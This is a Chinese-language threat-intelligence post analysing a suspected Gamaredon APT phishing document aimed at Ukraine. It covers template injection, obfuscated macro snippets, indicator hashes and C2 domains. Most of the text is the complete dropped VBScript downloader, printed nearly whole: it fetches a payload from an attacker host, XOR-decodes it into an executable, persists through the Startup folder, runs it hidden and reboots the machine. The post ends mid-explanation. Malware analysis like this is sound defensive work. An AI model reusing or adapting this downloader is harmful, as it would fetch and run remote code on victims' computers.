0x00 前言
https://send.firefox.com/download/2cc8ac146d5da1b4/#vtGpxNhT5mLb7hNwZ-mgAg
最近在样本追踪中,发现了一例疑似Gamaredon的攻击,随后依靠开源情报,发现Gamaredon近期还比较活跃,近一个月投递了众多针对乌克兰地区的攻击样本。而Gamaredon是一个俄罗斯的APT攻击组织,首次出现于2013年,主要是针对乌克兰进行网络间谍活动。2017年,Palo Alto披露过该组织针对乌克兰攻击活动的细节,并首次将该组织命名为Gamaredon group。
0x01 基本信息
原始样本hash为:c0dc0c23e675d0c380e243fb36ee005e
vt上传时间为1月14日
样本下载后,通过winhex查看基本可以确定是office格式的文档
尝试压缩软件打开可知是docx文档
添加docx后缀打开之后,是熟悉的模板注入:
注入地址为 hxxp://dochlist[.]hopto.org/opt[.]dot
文档内容如下
通过查询,我们可以得知文章内容是乌克兰语,署名是<乌克兰安全局>
文档最上方的图案也对应了乌克兰安全局Служба безпеки України的官网图标
而根据对Gamaredon的了解,我们也知道该组织自2013年开始,就常针对乌克兰的政府人员发起攻击,常见手法便是伪装乌克兰安全局,分发相关的钓鱼邮件,与本次攻击颇为符合。
0x02 注入文档
将原始文档注入的dot下载到本地,MD5为689fab7a016dae57300048539a4c807e
注入的dot文档内容为空,是一个宏代码利用文档:
查看宏代码,是Gamaredon很常用的一套代码
宏代码最开始创建了两个对象
分别是Wscript.Shell和Wscript.Network,用于后面的shell执行以及网络请求
Dim yOeryOer = "Set WShell=CreateObject(""WSc" + "ri" + "pt.S" + "hel" + "l"")"Set DurJ = CreateObject("WScr" + "ipt.Ne" + "two" + "rk")
然后通过代码创建Scripting.FileSystemObject对象以提供对文件系统的访问
Set hIYg = CreateObject("Sc" + "rip" + "ting.Fi" + "leSy" + "stemOb" + "ject")
然后获取当前的主机信息,拼接为一个请求字符串,用于后续的请求
请求地址为 hxxp://skrembler[.]hopto[.]org/WIN-IHN30SD7IMB_9AC9AA87/tor[.]php”
宏代码执行完成后,会在C:\Users\Shyt\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup路径下释放security.vbs文件
释放的vbs文件hash为195f3fab75ca0602a8c2053070dd1ca3
释放文件的代码格式化后如下:
On Error Resume NextDim MTYjMTYj = DateAdd("s", 25, Now())Do Until (Now() > MTYj)LoopFunction CZeq(oBIE)On Error Resume NextSet bkDw = CreateObject("MSXML2.XMLHTTP")With bkDw.Open "GET", oBIE, False.sendEnd WithIf bkDw.Status = 200 ThenCZeq = bkDw.ResponseBodyEnd IfEnd FunctionFunction Encode( FCkE, BGmO, msKq )Dim joCE, HHHm, NgjR, jIFy, vHqt, mzrIConst ForAppending = 8Const ForReading = 1Const ForWriting = 2Const TristateFalse = 0Const TristateMixed = -2Const TristateTrue = -1Const TristateUseDefault = -2On Error Resume NextIf Not IsArray( msKq ) ThenmsKq = Array( msKq )End IfFor joCE = 0 To UBound( msKq )If Not IsNumeric( msKq(i) ) ThenEncode = 1032Exit FunctionEnd IfIf msKq(joCE) < 0 Or msKq(joCE) > 255 ThenEncode = 1031Exit FunctionEnd IfNextSet HHHm = CreateObject( "Scripting.FileSystemObject" )If HHHm.FileExists( FCkE ) ThenSet NgjR = HHHm.GetFile( FCkE )Set vHqt = NgjR.OpenAsTextStream( ForReading, TriStateFalse )ElsevHqt.CloseSet vHqt = NothingSet NgjR = NothingSet HHHm = NothingExit FunctionEnd IfIf HHHm.FileExists( BGmO ) ThenvHqt.CloseSet vHqt = NothingSet NgjR = NothingIf HHHm.Fileexists( FCkE) Then HHHm.DeleteFile FCkESet HHHm = NothingExit FunctionElseSet jIFy = HHHm.CreateTextFile( BGmO, True, False )End Ifset joCE = 0Do Until vHqt.AtEndOfStreamFor joCE = 0 To UBound( msKq )joCE + 1 mod ( UBound( msKq ))jIFy.Write Chr( Asc( vHqt.Read( 1 ) ) Xor msKq(joCE) )if vHqt.AtEndOfStream Then Exit DoNextLoopset joCE = 0Do Until vHqt.AtEndOfStreamjoCE = ( joCE + 1 ) \ ( UBound( msKq ) + 1 )jIFy.Write Chr( Asc( vHqt.Read( 1 ) ) Xor msKq(mzrI) )joCE=joCE+1If mzrI<UBound( msKq ) ThenmzrI=mzrI+1else mzrI=0End IfLoopjIFy.CloseIf HHHm.Fileexists(FCkE) Then HHHm.DeleteFile FCkEvHqt.CloseSet vHqt = NothingSet NgjR = NothingSet jIFy = NothingSet HHHm = NothingOn Error Goto 0End FunctionFunction GetHKcc( KCel )Dim joCE, msKq( )ReDim msKq( Len( KCel ) - 1 )For joCE = 0 To UBound( msKq )msKq(joCE) = Asc( Mid( KCel, joCE + 1, 1 ) )NextGetHKcc = msKqEnd FunctionFunction pdBR(ByVal QopZ)Dim qsGfConst EhpF = "abcdefghijklmnopqrstuvwxyz0123456789"RandomizeFor joCE = 1 To QopZqsGf = qsGf & Mid(EhpF, Int(36 * Rnd + 1), 1)NextpdBR = qsGfEnd FunctionSub save(data)Dim vNsFvNsF = "1"vNsF = pdBR(5)Set CQLk = CreateObject("Scripting.FileSystemObject")Set jSmA = CreateObject("ADODB.Stream")On Error Resume NextjSmA.OpenjSmA.Type = 1jSmA.Write (data)jSmA.Position = 0Set CQLk = NothingjSmA.SaveToFile "C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+ vNsF +".txt"jSmA.CloseWScript.Sleep 7273Set PaKX = CreateObject("Scripting.FileSystemObject")Set lCPt = PaKX.GetFile("C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+ vNsF +".txt")If lCPt.Size < 1025 Then lCPt.DeleteDim arrHKcc, kcEEarrHKcc = GetHKcc( "9AC9AA87")kcEE = Encode( "C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+ vNsF +".txt", "C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+vNsF+".exe", arrHKcc )WScript.Sleep 6425If PaKX.FileExists( "C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+ vNsF +".txt" ) Then PaKX.DeleteFile "C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+ vNsF +".txt"If PaKX.FileExists( "C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+vNsF+".exe" ) ThenSet DeCQ = PaKX.CreateTextFile("C:\Users\Shyt\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"+ vNsF +".vbs", True, True)DeCQ.Write "On Error Resume Next" & vbCrLfDeCQ.Write "Set PaKX = CreateObject(""Scripting.FileSystemObject"")"& vbCrLfDeCQ.Write "createobject(""Wscript.Shell"").run ""C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+vNsF+".exe"",0" & vbCrLfDeCQ.Write "PaKX.DeleteFile Wscript.ScriptFullName"& vbCrLfDeCQ.CloseEnd IfIf kcEE <> 0 ThenEnd IfEnd SubhutC = 1Do While hutC > 0WScript.Sleep 181224save CZeq("http://skrembler.hopto.org/WIN-IHN30SD7IMB_9AC9AA87/tor.php")Dim QKLN, zIvq, jJjj, CQLkSet YDJG = CreateObject("Scripting.FileSystemObject")QKLN = YDJG.GetParentFolderName("C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+vNsF+".exe")With WScript.CreateObject("Scripting.FileSystemObject")Set HHHm = CreateObject("Scripting.FileSystemObject")If HHHm.Fileexists("C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+ vNsF +".txt") Then HHHm.DeleteFile "C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+ vNsF +".txt"jJjj = 0For Each zIvq In .GetFolder(QKLN).FilesIf UCase(.GetExtensionName(zIvq.Name)) = UCase("exe") ThenjJjj = jJjj + 1End IfNextIf (jJjj > 2) ThenDim NYBz, IHEL, IHELSheckSet NYBz = GetObject("WinMgmts:{(Shutdown,RemoteShutdown)}!\\.\Root\CIMV2:Win32_OperatingSystem")Set IHEL = NYBz.Instances_For Each IHELSheck In IHELIHELSheck.Reboot()NextEnd IfEnd WithLoop
程序最开始通过
On Error Resume NextDim MTYjMTYj = DateAdd("s", 25, Now())Do Until (Now() > MTYj)Loop
启用一个循环,第一次见这种,不知道是不是反沙箱的设计
该程序的入口点在程序最下方,程序通过
hutC = 1Do While hutC > 0WScript.Sleep 181224
的设置来启动一个永真循环,这里的slepp应该也是反沙箱的设计
接着程序尝试请求之前拼接好的请求地址,并且如果请求成功则会将返回的body做为参数传入到save函数用于保存
save CZeq("http://skrembler.hopto.org/WIN-IHN30SD7IMB_9AC9AA87/tor.php")
Czeq函数如下
如果成功请求,则会将返回值写入到%APPDATA%\Microsoft\Excel\ 目录下,文件名为由pdBR生成的5位随机数
尝试将传入进来的data进行写入,写入之后程序会判断文件大小是否大于1025,如果小于则删除
如果文件大于1025说明成功请求,则会将txt文件作为参数传递到Encode进行解密,解密后会在当前目录释放一个与txt同名的exe文件。
exe文件成功释放之后程序会在%APPDATA%Microsoft\Windows\Start Menu\Programs\Startup\目录下释放一个同名的vbs文件,该vbs文件用于调用执行刚才解密的exe。
程序成功保存并运行后,攻击者还将通过指定目录下的exe个数来控制是否重启用户的计算机:
